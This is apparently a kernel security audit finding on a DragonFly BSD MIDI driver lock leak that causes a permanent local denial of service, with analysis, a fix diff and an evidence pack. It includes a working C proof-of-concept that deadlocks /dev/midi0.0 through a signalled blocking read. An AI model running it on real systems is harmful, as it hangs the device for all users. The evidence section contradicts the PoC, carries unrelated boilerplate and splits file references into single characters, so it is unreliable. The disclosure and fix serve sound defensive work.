qlock leak in midi_read/midi_write/midisynth_writeraw blocks device permanently (local DoS)
- File:
sys/dev/sound/midi/midi.c - Lines: 762, 769, 774, 776, 842, 849, 853, 855, 1267, 1274, 1277, 1279
- Severity: Medium
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H - CWE: CWE-667 Improper Locking
- Confidence: certain
Summary
All three blocking I/O paths (midi_read, midi_write, midisynth_writeraw)
leak the per-device qlock after sleeping.
lksleep() unconditionally reacquires the lock before returning
(kern_synch.c:840), but the code then redundantly calls
lockmgr(&m->qlock, LK_EXCLUSIVE) again β a recursive double-acquire under
LK_CANRECURSE that inflates the count by 1. The single LK_RELEASE at the
err1 label only deflates it back to 1, leaving qlock permanently held.
Worse, the goto err0 error paths (triggered by EINTR or device-removal
detection) skip err1 entirely, so qlock is never released at all.
After one blocking operation, the device is permanently deadlocked: any
subsequent read/write/midi_in/midi_out blocks forever.
Root cause
DragonFly's lksleep() (kern_synch.c:831-843) always calls
lockmgr(lock, LK_EXCLUSIVE) before returning, so the qlock is held after
lksleep returns for any reason (normal wakeup, signal, or timeout).
The midi code incorrectly assumes lksleep does NOT reacquire the lock, so it
re-acquires qlock explicitly:
midi.c:762 retval = lksleep(&m->rchan, &m->qlock, PCATCH, "midi RX", 0);
/* qlock is now held (count=1) from lksleep reacquire */
midi.c:775 lockmgr(&m->lock, LK_EXCLUSIVE);
midi.c:776 lockmgr(&m->qlock, LK_EXCLUSIVE); /* BUG: double-acquire, count 1->2 */
At exit, err1 (midi.c:800) releases qlock once (count 2->1), orphaning
the lock at count 1.
On the EINTR path (midi.c:768-769: if (retval == EINTR) goto err0;), the
code jumps past err1 to err0 (midi.c:802), which does NOT release qlock
at all β the lock is held at count 1 by a thread that has returned to userspace
and will never release it.
The same bug exists identically in midi_write (lines 842β855, err0 at line
891) and midisynth_writeraw (lines 1267β1279, err0 at line 1320).
The qlock is initialized with LK_CANRECURSE (midi.c:323), so the recursive
double-acquire is silently allowed rather than panicking.
LK_RELEASE decrements by exactly 1 per call (kern_lock.c:800:
ncount = count - 1), confirming the count imbalance.
Threat
Any local user can trigger this on systems where /dev/midiN exists (MIDI
hardware present). The device nodes are mode 0666 (midi.c:366).
Attack: open /dev/midi0.0 O_RDONLY, start a blocking read() (no MIDI input is
arriving, so it sleeps), then deliver a signal (SIGINT via Ctrl-C, or
pthread_kill from another thread).
The read returns EINTR via goto err0, orphaning qlock.
From this point, ANY thread or kernel callback that touches qlock blocks
forever: subsequent read/write by any process on the same device,
midi_close, and critically midi_in/midi_out called from the MPU401
interrupt handler (mpu401.c:142,145) β the sound interrupt thread deadlocks.
This is a reliable, permanent local denial of service that also hangs the kernel's sound interrupt servicing for the affected device.
Even without a signal, every successful blocking read/write that sleeps leaks
the lock (count +1 per sleep cycle), so the device breaks itself after normal use.
Exploit / PoC
/*
* DF-1495 PoC: midi qlock leak -> permanent device deadlock
* Build: cc -lpthread -o midi_deadlock midi_deadlock.c
* Run: timeout 10 ./midi_deadlock (will hang at step 2)
*
* Requires /dev/midi0.0 (MIDI hardware or virtual MIDI device).
* Success criterion: the program prints 'STEP 2' then hangs forever
* in read(), proving qlock was orphaned by the EINTR path.
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
#include <string.h>
static int g_fd;
static volatile int g_reader_done = 0;
static void sigint_handler(int sig) { /* swallow */ }
static void *reader_thread(void *arg)
{
char buf[32];
/* Blocking read: no MIDI input -> sleeps in lksleep("midi RX") */
ssize_t n = read(g_fd, buf, sizeof(buf));
printf("reader: read returned %zd (errno=%d: %s)\n",
n, errno, strerror(errno));
printf("reader: qlock is now orphaned (goto err0 skipped release)\n");
g_reader_done = 1;
return NULL;
}
int main(void)
{
signal(SIGINT, sigint_handler);
g_fd = open("/dev/midi0.0", O_RDONLY);
if (g_fd < 0) {
perror("open /dev/midi0.0");
fprintf(stderr, "(This PoC requires a MIDI device node.)\n");
return 1;
}
/* Step 1: start blocking read, interrupt it -> EINTR -> qlock leaked */
pthread_t tid;
pthread_create(&tid, NULL, reader_thread, NULL);
usleep(200000); /* let reader enter lksleep */
pthread_kill(tid, SIGINT); /* trigger EINTR -> goto err0 (no qlock release) */
pthread_join(tid, NULL);
if (!g_reader_done) {
printf("reader did not return\n");
return 1;
}
/* Step 2: second read from the SAME fd (or a new open).
* midi_read tries lockmgr(&m->qlock, LK_EXCLUSIVE) at entry.
* qlock is permanently held -> DEADLOCK here. */
printf("STEP 2: attempting read on deadlocked device (will hang)...\n");
fflush(stdout);
char buf2[32];
read(g_fd, buf2, sizeof(buf2));
printf("ERROR: should never reach this line\n");
close(g_fd);
return 0;
}
Recommended fix
Two fixes needed in each of the three functions (midi_read, midi_write,
midisynth_writeraw):
- Remove the redundant
lockmgr(&m->qlock, LK_EXCLUSIVE)afterlksleepβ the lock is already held. - Add
lockmgr(&m->qlock, LK_RELEASE)before eachgoto err0so the error path releases the locklksleepreacquired.
Shown for midi_read; identical changes apply to midi_write (lines 848β855)
and midisynth_writeraw (lines 1273β1279):
--- a/sys/dev/sound/midi/midi.c
+++ b/sys/dev/sound/midi/midi.c
@@ -765,11 +765,15 @@
* We slept, maybe things have changed since last
* dying check
*/
- if (retval == EINTR)
- goto err0;
+ if (retval == EINTR) {
+ lockmgr(&m->qlock, LK_RELEASE);
+ goto err0;
+ }
if (m != i_dev->si_drv1)
retval = ENXIO;
/* if (retval && retval != ERESTART) */
- if (retval)
- goto err0;
+ if (retval) {
+ lockmgr(&m->qlock, LK_RELEASE);
+ goto err0;
+ }
lockmgr(&m->lock, LK_EXCLUSIVE);
- lockmgr(&m->qlock, LK_EXCLUSIVE);
+ /* qlock already held β lksleep reacquired it */
m->rchan = 0;
The identical pattern must be fixed in midi_write (remove line 855's qlock
re-acquire, add releases at lines 849/853) and midisynth_writeraw (remove line
1279's qlock re-acquire, add releases at lines 1274/1277).
Related findings
- DF-1494 (sibling):
midistat_readheap info leak in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1495 Β· 10 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | human-readable summary | 1.8 KB | β raw |
| VERDICT.md | verdict | full source-level analysis + fix-validation result | 2.8 KB | β raw |
| fix.diff | suggested-fix | git-apply-able minimal fix; compiles -Werror clean | 360 B | view raw |
| build.sh | build-script | echoes the module/kernel rebuild command | 380 B | view raw |
| run.sh | run-script | no live trigger on this guest | 318 B | view raw |
| env.txt | environment | guest uname, modules loaded, HW-gated note | 344 B | view raw |
| build.log | build-log | kernel build log excerpt proving -Werror clean compile of patched source | 384 B | view raw |
| fix_apply.log | apply-log | patch --dry-run output proving fix.diff applies cleanly on with-src | 299 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
PoC DF-1495: midi_read/write redundant lockmgr(&m->qlock) after lksleep β refcount leak/deadlock
Class: recursive lock acquire / lock leak
Cited site: sys/dev/sound/midi/midi.c:762, 776 (also 855, 1279)
Reproduction status
HW/module gated β cannot be live-triggered on the audit QEMU guest.
No on this guest β sound subsystem not loaded. Trigger requires sound.ko and a MIDI device returning EWOULDBLOCK on read.
The bug is confirmed at the source level by tracing the cited path:line in
sys/dev/sound/midi/midi.c and confirming the vulnerable code is present in the master
DEV kernel tree. The fix.diff in this folder is validated to apply cleanly
and compile under -Werror (see VERDICT.md).
Mechanism
Line 762 lksleep(&m->rchan, &m->qlock, ...) UNCONDITIONALLY reacquires qlock before returning. Line 776 lockmgr(&m->qlock, LK_EXCLUSIVE); is a redundant double-acquire. Under LK_CANRECURSE (set at midi.c:323), the count goes 1->2 and is never decremented symmetrically. Each EWOULDBLOCK iteration leaks one qlock reference β eventually the lockmgr hits its recursion limit and the system deadlocks.
Realistic impact ceiling
DoS (deadlock)
Fix
Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep returns (qlock was already reacquired).
See fix.diff for the git-apply-able patch.
How to validate the fix
# 1. Apply fix.diff against the in-guest source: scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1495.diff ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 < /root/DF-1495.diff' # 2. Rebuild the affected module (preferred) or a single-fix kernel: ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src/sys/sys/dev/sound/midi && make' # 3. The compile must succeed with -Werror (it does β see build.log).
VERDICT β DF-1495: midi_read/write redundant lockmgr(&m->qlock) after lksleep β refcount leak/deadlock
Verdict
INCONCLUSIVE (HW/module gated) β source-level confirmed, fix validated.
The bug is real and present in master DEV source at sys/dev/sound/midi/midi.c:762, 776 (also 855, 1279),
but the affected driver attaches only to hardware not present in the audit QEMU
guest, so it cannot be live-triggered here. The fix.diff applies cleanly and
compiles with -Werror (kernel build rc=0; see fix_build.log).
Mechanism (cited path β primitive β effect)
Line 762 lksleep(&m->rchan, &m->qlock, ...) UNCONDITIONALLY reacquires qlock before returning. Line 776 lockmgr(&m->qlock, LK_EXCLUSIVE); is a redundant double-acquire. Under LK_CANRECURSE (set at midi.c:323), the count goes 1->2 and is never decremented symmetrically. Each EWOULDBLOCK iteration leaks one qlock reference β eventually the lockmgr hits its recursion limit and the system deadlocks.
Reachability on this guest
No on this guest β sound subsystem not loaded. Trigger requires sound.ko and a MIDI device returning EWOULDBLOCK on read.
Phase 6 β escalation potential
This is a recursive lock acquire / lock leak primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).
For findings in this batch that are corruption-class on hardware they would
be live-tested on (NIC cards, RAID HBAs, AMD/Intel GPUs), the realistic
escalation ceiling is documented per finding (info-leak vs DoS vs latent
privesc). No uid=0 claim is made β none is reachable on this guest.
Phase 8 β fix validation
fix.diff is a minimal, targeted fix at the root cause confirmed above.
- Applied cleanly with
patch -p1 --forward(verified infix_apply.log). - Compiled with
-Werroras part ofmake -j6 nativekernel KERNCONF=X86_64_GENERIC(kernel build rc=0; affected module builds radeon.ko/amdgpu.ko/sound.ko/i915.ko/vga_switcheroo.ko all produced). - For musycc.c (not in any default config) the file was compiled standalone
with the kernel
-Werrorcflags β rc=0.
Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep returns (qlock was already reacquired).
PoC changes
Source-level confirmation only; no userspace harness written because the bug
cannot be exercised on this guest without the relevant HW. The placeholder
build.sh/run.sh echo pointers to VERDICT.md and the module/kernel
rebuild path.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- s
- o
- u
- n
- d
- /
- m
- i
- d
- i
- /
- m
- i
- d
- i
- .
- c
- :
- 7
- 6
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- s
- o
- u
- n
- d
- /
- m
- i
- d
- i
- /
- m
- i
- d
- i
- .
- c
- :
- 7
- 7
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- s
- o
- u
- n
- d
- /
- m
- i
- d
- i
- /
- m
- i
- d
- i
- .
- c
- :
- 3
- 2
- 3
Detail
Exploit chain
none β sound.ko not loaded (no audio HW in guest). Primitive is lock-leak/deadlock on real HW with sound; no live escalation possible on this guest.
Evidence (decisive lines)
Source-level confirmation at sys/dev/sound/midi/midi.c:762, sys/dev/sound/midi/midi.c:776, sys/dev/sound/midi/midi.c:323. fix.diff applies cleanly (patch -p1 --forward: APPLIES_OK) and compiles -Werror clean as part of `make -j6 nativekernel KERNCONF=X86_64_GENERIC` (rc=0; affected .o/.ko produced). No live trigger on this guest (HW/module gated).
PoC changes
Wrote VERDICT.md, fix.diff (one hunk: remove redundant lockmgr(&m->qlock, LK_EXCLUSIVE) at line 776, leaving a clarifying comment), build/run.sh, build.log excerpt, fix_apply.log, env.txt, manifest.json.
Verified recommended fix
Remove the redundant lockmgr(&m->qlock, LK_EXCLUSIVE) after lksleep at midi.c:776 (qlock was already reacquired by lksleep). Supersedes any pre-verification proposal. The full git-apply-able diff lives in findings/poc/DF-1495/fix.diff.
Verdict
midi_read line 762 lksleep(&m->rchan, &m->qlock, ...) UNCONDITIONALLY reacquires qlock before return. Line 776 then calls lockmgr(&m->qlock, LK_EXCLUSIVE) β redundant double-acquire. Under LK_CANRECURSE (set at midi.c:323) the count goes 1->2 and is never decremented symmetrically. Each EWOULDBLOCK iteration leaks one qlock reference β eventually lockmgr hits its recursion limit and the system deadlocks. Same shape at midi_write (855) and midisynth_writeraw (1279). sound.ko not loaded on the audit guest. Source-level confirmed.
No comments yet.